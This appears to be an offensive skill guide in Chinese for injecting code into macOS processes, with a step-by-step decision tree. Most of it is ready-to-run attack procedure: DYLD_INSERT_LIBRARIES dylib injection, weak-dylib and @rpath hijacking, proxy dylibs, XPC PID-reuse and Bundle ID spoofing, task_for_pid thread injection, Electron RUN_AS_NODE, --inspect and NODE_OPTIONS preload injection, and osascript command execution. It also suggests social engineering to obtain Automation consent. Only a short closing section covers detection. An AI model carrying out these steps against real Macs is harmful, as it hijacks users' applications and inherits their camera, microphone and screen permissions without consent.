macOS 进程注入：通过 dylib 劫持、DYLD…

在 macOS 上对运行中或启动中的进程进行代码注入时，按目标特征选择 DYLD、dylib 劫持、XPC、Mach 端口、MIG 或 Electron 注入路径。

适用场景

解决思路

1. 先做相关路由：若注入被 TCC、Gatekeeper 或 SIP 阻挡，加载 macos-security-bypass；若需要 Unix 层提权（共享对象劫持概念通用），加载 linux-privilege-escalation；需要 dylib 劫持分步方法、XPC 利用代码示例、Mach 端口与 task_for_pid 细节时，加载 DYLIB_XPC_TECHNIQUES.md。
2. DYLD_INSERT_LIBRARIES 注入：编写带 __attribute__((constructor)) 的 C 文件，用 gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64 编译双架构 dylib，然后以 DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target 启动目标。
3. 判断 DYLD 注入可行性：普通非加固二进制可注入；启用 Hardened Runtime 不可；Hardened Runtime 且带 com.apple.security.cs.allow-dyld-environment-variables 权限可；SIP 保护的 Apple 系统二进制、SUID/SGID 二进制、启用 App Sandbox 的进程均不可（DYLD 环境变量会被剥离）。
4. 查找可注入目标：遍历 /Applications 下 *.app，用 defaults read Info.plist CFBundleExecutable 取可执行文件名，再用 codesign -d --verbose 检查是否含 runtime 标志，输出无 Hardened Runtime 的应用。
5. 查找带 DYLD 环境变量权限的应用：用 codesign -d --entitlements :- 检查二进制权限，grep allow-dyld-environment-variables，命中则输出可 DYLD 注入的应用。
6. 弱 dylib 劫持：用 otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB 找弱引用；用 otool -L 检查弱 dylib 是否缺失，缺失即为可劫持路径，将恶意 dylib 放到该路径。
7. @rpath 劫持：用 otool -l /path/to/binary | grep -A 2 LC_RPATH 列出 rpath 条目，用 otool -L | grep @rpath 列出 rpath 相对引用；若搜索顺序靠前的 rpath 目录可写（如应用 Frameworks/），把同名恶意 dylib 放入该目录。
8. dylib 代理：用 nm -gU /path/to/original.dylib | awk '{print $3}' 枚举原 dylib 导出；把原文件改名为 original_real.dylib；编写带 constructor 的 proxy.c，用 gcc -dynamiclib -o hijacked.dylib proxy.c -Wl,-reexport_library,/path/to/original_real.dylib -arch x86_64 -arch arm64 生成转发全部导出的代理 dylib。
9. 依赖枚举：用 otool -L 列出全部 dylib 依赖，用 otool -l 查看完整 load commands（rpath、weak 等），Ventura 之前可用 dyldinfo -print_dependencies 获取详细依赖信息。
10. XPC 服务发现：用 find /System/Library -name "*.xpc" -type d 找系统 XPC 服务，用 find /Library /Applications -name "*.xpc" -type d 找第三方服务，用 grep -r "MachServices" /Library/LaunchDaemons/*.plist 与 /System/Library/LaunchDaemons/*.plist 找 root 级 LaunchDaemon XPC 服务。
11. PID 复用攻击：针对仅用 PID 校验的 XPC 连接，先让合法客户端（PID 1234）连接并通过校验，待其退出释放 PID 后，攻击者快速 fork 抢占同一 PID，再以该 PID 发送恶意 XPC 消息，利用服务端缓存的校验结果。注意：audit token、代码签名校验、entitlement 校验不可被 PID 复用绕过。
12. 利用 XPC 客户端校验弱点：无客户端校验则直接连接发命令；仅 PID 校验则做 PID 复用；仅校验 Bundle ID 则伪造同名 Bundle ID 的应用；代码要求不完整（缺 anchor 检查）则用任意匹配部分要求的证书签名；校验错进程（校验父进程而非客户端）则从有权限的父进程派生。
13. Mach 端口操作：以 root 或 taskgated entitlement 调用 task_for_pid(mach_task_self(), target_pid, &task)，成功后即可读写目标进程内存并通过 thread_create_running 注入线程；用 processor_set_tasks()（需 root 与 com.apple.system-task-ports）枚举所有 task port；用 task_set_exception_ports 设置异常端口捕获目标崩溃并重定向执行。
14. 端口命名空间操纵：在部分上下文中暴力猜测顺序整数形式的 Mach 端口名；用 mach_port_insert_right 向目标命名空间插入 send right（需 task port）；在合法服务之前向 bootstrap server 注册服务名以拦截连接。
15. MIG 滥用分析：用 nm /path/to/binary | grep _subsystem 与 strings /path/to/binary | grep "MIG" 找 MIG 子系统，用 otool -tV /path/to/binary | grep -A 5 "server_routine" 定位 MIG 例程分发表；关注缺失 audit token 校验、类型混淆（信任客户端类型描述符）、Mach 端口 use-after-deallocate、超大 OOL 描述符导致内核内存问题等漏洞。
16. Electron 注入 ELECTRON_RUN_AS_NODE：以 ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e "require('child_process').execSync('id').toString()" 把 Electron 应用变成 Node 运行时，并继承应用的 TCC 权限（摄像头/麦克风/录屏等）。
17. Electron 调试标志注入：用 "/Applications/Target.app/Contents/MacOS/Target" --inspect=9229 打开 Chrome DevTools 协议并在 Chrome 的 chrome://inspect 连接；用 --inspect-brk=9229 在任何代码运行前断下。
18. NODE_OPTIONS 注入：写 preload 脚本（如 require("child_process").execSync("id > /tmp/pwned") 到 /tmp/preload.js），以 NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target" 启动目标。
19. 检查 Electron fuses：用 npx @electron/fuses read --app "/Applications/Target.app" 读取状态；RunAsNode 启用则 ELECTRON_RUN_AS_NODE 被剥离、禁用则可当 Node 用；EnableNodeCliInspectArguments 启用则 --inspect 被剥离、禁用则可挂调试器；EnableNodeOptionsEnvironmentVariable 启用则 NODE_OPTIONS 被剥离、禁用则可注入 preload；OnlyLoadAppFromAsar 启用则只从 .asar 加载、禁用则可替换 JS 文件。
20. Apple Events 注入：有 Automation 权限时用 osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'；用 JXA：osascript -l JavaScript -e 'var app = Application("Terminal"); app.doScript("id > /tmp/pwned");'；用 JXA 的 ObjC 桥：osascript -l JavaScript -e 'ObjC.import("Cocoa"); var task = $.NSTask.alloc.init; task.launchPath = "/bin/bash"; task.arguments = ["-c", "id > /tmp/pwned"]; task.launch;'。
21. 按决策树选注入路径：目标是 Electron 时依次检查 fuses 是否禁用（用 ELECTRON_RUN_AS_NODE）、是否可调试（--inspect）、NODE_OPTIONS 是否未剥离（preload 注入），全启用则转向 dylib 路径或 XPC；目标有 dylib 环境变量权限则用 DYLD_INSERT_LIBRARIES；存在缺失或弱 dylib 则按 LC_LOAD_WEAK_DYLIB 缺失、@rpath 可写目录优先、可写位置已有 dylib 分别做放置、rpath 劫持、dylib 代理；目标暴露 XPC 服务则按无校验、仅 PID 校验、audit token 校验分别直接连接、PID 复用、换向量；有 root 且目标非 SIP 保护则 task_for_pid 注入，SIP 保护则先做 SIP 绕过；可用 Apple Events 且有 Automation 权限则 osascript 注入，无权限则社工获取 Automation 同意；以上都不行则查 MIG 服务漏洞与 bootstrap 服务名冲突。
22. 检测与取证对照：DYLD_INSERT_LIBRARIES 使用查进程环境（/proc/PID/environ、ps eww）；意外加载的 dylib 用 vmmap PID 或 DYLD_PRINT_LIBRARIES=1 输出；XPC 连接异常查 Endpoint Security 的 es_event_type_t XPC 事件；Electron 调试端口开放用 lsof -i :9229；osascript 执行查统一日志 log show --predicate 'process=="osascript"'；未签名代码执行查 codesign --verify 失败与 Gatekeeper 日志。

适用边界 · 注意事项

• 目标启用 Hardened Runtime 且无 allow-dyld-environment-variables 权限、或为 SIP 保护的 Apple 系统二进制、SUID/SGID 二进制、启用 App Sandbox 时，DYLD_INSERT_LIBRARIES 注入不可用。
• XPC 服务使用 audit token、代码签名或 entitlement 校验时，PID 复用与 Bundle ID 伪造无效，需换其他注入向量。
• 目标为 SIP 保护进程且无 root 或未先完成 SIP 绕过时，task_for_pid 注入不可行。